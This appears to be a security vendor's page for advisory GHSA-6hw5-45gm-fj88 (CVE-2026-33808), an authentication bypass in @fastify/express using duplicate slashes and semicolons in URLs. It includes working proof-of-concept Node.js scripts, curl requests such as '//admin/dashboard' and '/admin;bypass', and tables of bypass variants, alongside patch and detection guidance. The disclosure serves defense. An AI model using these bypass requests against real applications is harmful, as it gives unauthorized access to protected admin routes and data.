Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
CRITICAL severity

GHSA-6hw5-45gm-fj88

CRITICAL

GHSA-6hw5-45gm-fj88 is a critical-severity (CVSS 9.1) CWE-436 vulnerability in @fastify/express. O3 Security confirms whether GHSA-6hw5-45gm-fj88 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

@fastify/express has a middleware authentication bypass via URL normalization gaps (duplicate slashes and semicolons)

Also known asCVE-2026-33808
Published
Apr 16, 2026
Updated
Jun 9, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-6hw5-45gm-fj88.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs39th percentile — riskier than 39% of all scored CVEsHighest risk
0.00%0.33%0.66%0.98%0.2%0.3%0.5%0.5%0.5%May 26Jul 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-6hw5-45gm-fj88 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 356,453 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

24other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@fastify/expressnpm
113Kdownloads / week

Description

Summary

@fastify/express v4.0.4 fails to normalize URLs before passing them to Express middleware when Fastify router normalization options are enabled. This allows complete bypass of path-scoped authentication middleware via two vectors:

  1. Duplicate slashes (//admin/dashboard) when ignoreDuplicateSlashes: true is configured
  2. Semicolon delimiters (/admin;bypass) when useSemicolonDelimiter: true is configured

In both cases, Fastify's router normalizes the URL and matches the route, but @fastify/express passes the original un-normalized URL to Express middleware, which fails to match and is skipped.

Note: This is distinct from GHSA-g6q3-96cp-5r5m (CVE-2026-22037), which addressed URL percent-encoding bypass and was patched in v4.0.3. These normalization gaps remain in v4.0.4. A similar class of normalization issue was addressed in @fastify/middie via GHSA-8p85-9qpw-fwgw (CVE-2026-2880), but @fastify/express does not include the equivalent fixes.

Details

The vulnerability exists in @fastify/express's enhanceRequest function (index.js lines 43-46):

const decodedUrl = decodeURI(url)
req.raw.url = decodedUrl

The decodeURI() function only handles percent-encoding — it does not normalize duplicate slashes or strip semicolon-delimited parameters. When Fastify's router options are enabled, find-my-way applies these normalizations during route matching, but @fastify/express passes the original URL to Express middleware.

Vector 1: Duplicate Slashes

When ignoreDuplicateSlashes: true is set, Fastify's find-my-way router normalizes //admin/dashboard to /admin/dashboard for route matching. However, Express middleware receives //admin/dashboard. Express's app.use('/admin', authMiddleware) expects paths to start with /admin/, but //admin does not match the /admin prefix pattern.

The attack sequence:

  1. Client sends GET //admin/dashboard
  2. Fastify's router normalizes this to /admin/dashboard and finds a matching route
  3. enhanceRequest sets req.raw.url = "//admin/dashboard" (preserves double slash)
  4. Express middleware app.use('/admin', authMiddleware) does not match //admin prefix
  5. Authentication is bypassed, and the Fastify route handler executes

Vector 2: Semicolon Delimiters

When useSemicolonDelimiter: true is configured, the router uses find-my-way's safeDecodeURI() which treats semicolons as query string delimiters, splitting /admin;bypass into path /admin and querystring bypass for route matching. However, @fastify/express passes the full URL /admin;bypass to Express middleware.

Express uses path-to-regexp v0.1.12 internally, which compiles middleware paths like /admin to the regex /^\/admin\/?(?=\/|$)/i. A semicolon character does not satisfy the lookahead condition, causing the middleware match to fail.

The attack flow:

  1. Request GET /admin;bypass arrives
  2. Fastify router: splits at ; — matches route GET /admin
  3. Express middleware: regex /^\/admin\/?(?=\/|$)/i fails against /admin;bypass — middleware skipped
  4. Route handler executes without authentication checks

PoC

Duplicate Slash Bypass

Save as server.js and run with node server.js:

const fastify = require('fastify')

async function start() {
  const app = fastify({
    logger: false,
    ignoreDuplicateSlashes: true,  // documented Fastify option
  })

  await app.register(require('@fastify/express'))

  // Standard Express middleware auth pattern
  app.use('/admin', function expressAuthGate(req, res, next) {
    const auth = req.headers.authorization
    if (!auth || auth !== 'Bearer admin-secret-token') {
      res.statusCode = 403
      res.setHeader('content-type', 'application/json')
      res.end(JSON.stringify({ error: 'Forbidden by Express middleware' }))
      return
    }
    next()
  })

  // Protected route
  app.get('/admin/dashboard', async (request) => {
    return { message: 'Admin dashboard', secret: 'sensitive-admin-data' }
  })

  await app.listen({ port: 3000 })
  console.log('Listening on http://localhost:3000')
}
start()
# Normal access — blocked by Express middleware
$ curl -s http://localhost:3000/admin/dashboard
{"error":"Forbidden by Express middleware"}

# Double-slash bypass — Express middleware skipped, handler runs
$ curl -s http://localhost:3000//admin/dashboard
{"message":"Admin dashboard","secret":"sensitive-admin-data"}

# Triple-slash also works
$ curl -s http://localhost:3000///admin/dashboard
{"message":"Admin dashboard","secret":"sensitive-admin-data"}

Multiple variants work: ///admin, /.//admin, //admin//dashboard, etc.

Semicolon Bypass

const fastify = require('fastify')
const http = require('http')

function get(port, url) {
  return new Promise((resolve, reject) => {
    http.get('http://localhost:' + port + url, (res) => {
      let data = ''
      res.on('data', (chunk) => data += chunk)
      res.on('end', () => resolve({ status: res.statusCode, body: data }))
    }).on('error', reject)
  })
}

async function test() {
  const app = fastify({ 
    logger: false, 
    routerOptions: { useSemicolonDelimiter: true }
  })
  await app.register(require('@fastify/express'))
  
  // Auth middleware blocking unauthenticated access
  app.use('/admin', function(req, res, next) {
    if (!req.headers.authorization) {
      res.statusCode = 403
      res.setHeader('content-type', 'application/json')
      res.end(JSON.stringify({ error: 'Forbidden' }))
      return
    }
    next()
  })
  
  app.get('/admin', async () => ({ secret: 'classified-info' }))
  
  await app.listen({ port: 19900, host: '0.0.0.0' })
  
  // Blocked:
  let r = await get(19900, '/admin')
  console.log('/admin:', r.status, r.body)
  // Output: /admin: 403 {"error":"Forbidden"}
  
  // BYPASS:
  r = await get(19900, '/admin;bypass')
  console.log('/admin;bypass:', r.status, r.body)
  // Output: /admin;bypass: 200 {"secret":"classified-info"}
  
  r = await get(19900, '/admin;')
  console.log('/admin;:', r.status, r.body)
  // Output: /admin;: 200 {"secret":"classified-info"}
  
  await app.close()
}
test()

Actual output:

/admin: 403 {"error":"Forbidden"}
/admin;bypass: 200 {"secret":"classified-info"}
/admin;: 200 {"secret":"classified-info"}

The semicolon bypass works with any text after it: /admin;, /admin;x, /admin;jsessionid=123.

Impact

Complete authentication bypass for applications using Express middleware for path-based access control. An unauthenticated attacker can access protected routes (admin panels, APIs, user data) by manipulating the URL path.

Duplicate slash vector affects applications that:

  1. Use @fastify/express with ignoreDuplicateSlashes: true
  2. Rely on Express middleware for authentication/authorization
  3. Use path-scoped middleware patterns like app.use('/admin', authMiddleware)

Semicolon vector affects applications that:

  1. Use @fastify/express with useSemicolonDelimiter: true (commonly enabled for Java application server compatibility, e.g., handling ;jsessionid= parameters)
  2. Rely on Express middleware for authentication/authorization
  3. Use path-scoped middleware patterns like app.use('/admin', authMiddleware)

The bypass works against all Express middleware that uses prefix path matching, including popular packages like express-basic-auth, custom authentication middleware, and rate limiting middleware.

The ignoreDuplicateSlashes and useSemicolonDelimiter options are documented as convenience features, not marked as security-sensitive, so developers would not expect them to impact middleware security.

Affected Versions

  • @fastify/express v4.0.4 (latest) with Fastify 5.x
  • Requires ignoreDuplicateSlashes: true or useSemicolonDelimiter: true in Fastify configuration (via top-level option or routerOptions)

Variant Testing

Duplicate slashes:

RequestExpress MiddlewareHandler RunsResult
GET /admin/dashboardInvoked (blocks)No403 Forbidden
GET //admin/dashboardSkippedYes200 OK — BYPASS
GET ///admin/dashboardSkippedYes200 OK — BYPASS
GET /.//admin/dashboardSkippedYes200 OK — BYPASS
GET //admin//dashboardSkippedYes200 OK — BYPASS
GET /admin//dashboardInvoked (blocks)No403 Forbidden

Semicolons:

URLExpress MW FiresRoute MatchesResult
/adminYesYes (200/403)Normal
/admin;NoYes (200)BYPASS
/admin;bypassNoYes (200)BYPASS
/admin;x=1NoYes (200)BYPASS
/admin;/dashboardNoYes (200, routes to /admin)BYPASS
/admin/dashboard;xYesYes (routes to /admin/dashboard)Normal (prefix /admin/ still matches)

The semicolon bypass is effective when the semicolon appears immediately after the middleware prefix boundary. For sub-paths where the prefix is already matched (e.g., /admin/dashboard;x), Express's prefix regex succeeds because the /admin/ part matches before the semicolon appears.

Suggested Fix

@fastify/express should normalize URLs before passing them to Express middleware, respecting the router normalization options that are enabled. Specifically:

  • When ignoreDuplicateSlashes is enabled, apply FindMyWay.removeDuplicateSlashes() to req.raw.url before middleware execution
  • When useSemicolonDelimiter is enabled, strip semicolon-delimited parameters from the URL before passing to Express

This would match the normalization behavior that @fastify/middie already implements via sanitizeUrlPath() and normalizePathForMatching().

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@fastify/expressall versions4.0.5

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @fastify/express. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update @fastify/express to 4.0.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-6hw5-45gm-fj88 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-6hw5-45gm-fj88 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-6hw5-45gm-fj88. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary `@fastify/express` v4.0.4 fails to normalize URLs before passing them to Express middleware when Fastify router normalization options are enabled. This allows complete bypass of path-scoped authentication middleware via two vectors: 1. **Duplicate slashes** (`//admin/dashboard`) when `ignoreDuplicateSlashes: true` is configured 2. **Semicolon delimiters** (`/admin;bypass`) when `useSemicolonDelimiter: true` is configured In both cases, Fastify's router normalizes the URL and matches the route, but `@fastify/express` passes the original un-normalized URL to Express middleware, wh
O3 Security · Impact-Aware SCA

Is GHSA-6hw5-45gm-fj88 in your dependencies?

O3 detects GHSA-6hw5-45gm-fj88 across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-6hw5-45gm-fj88: @fastify/express… | O3 Security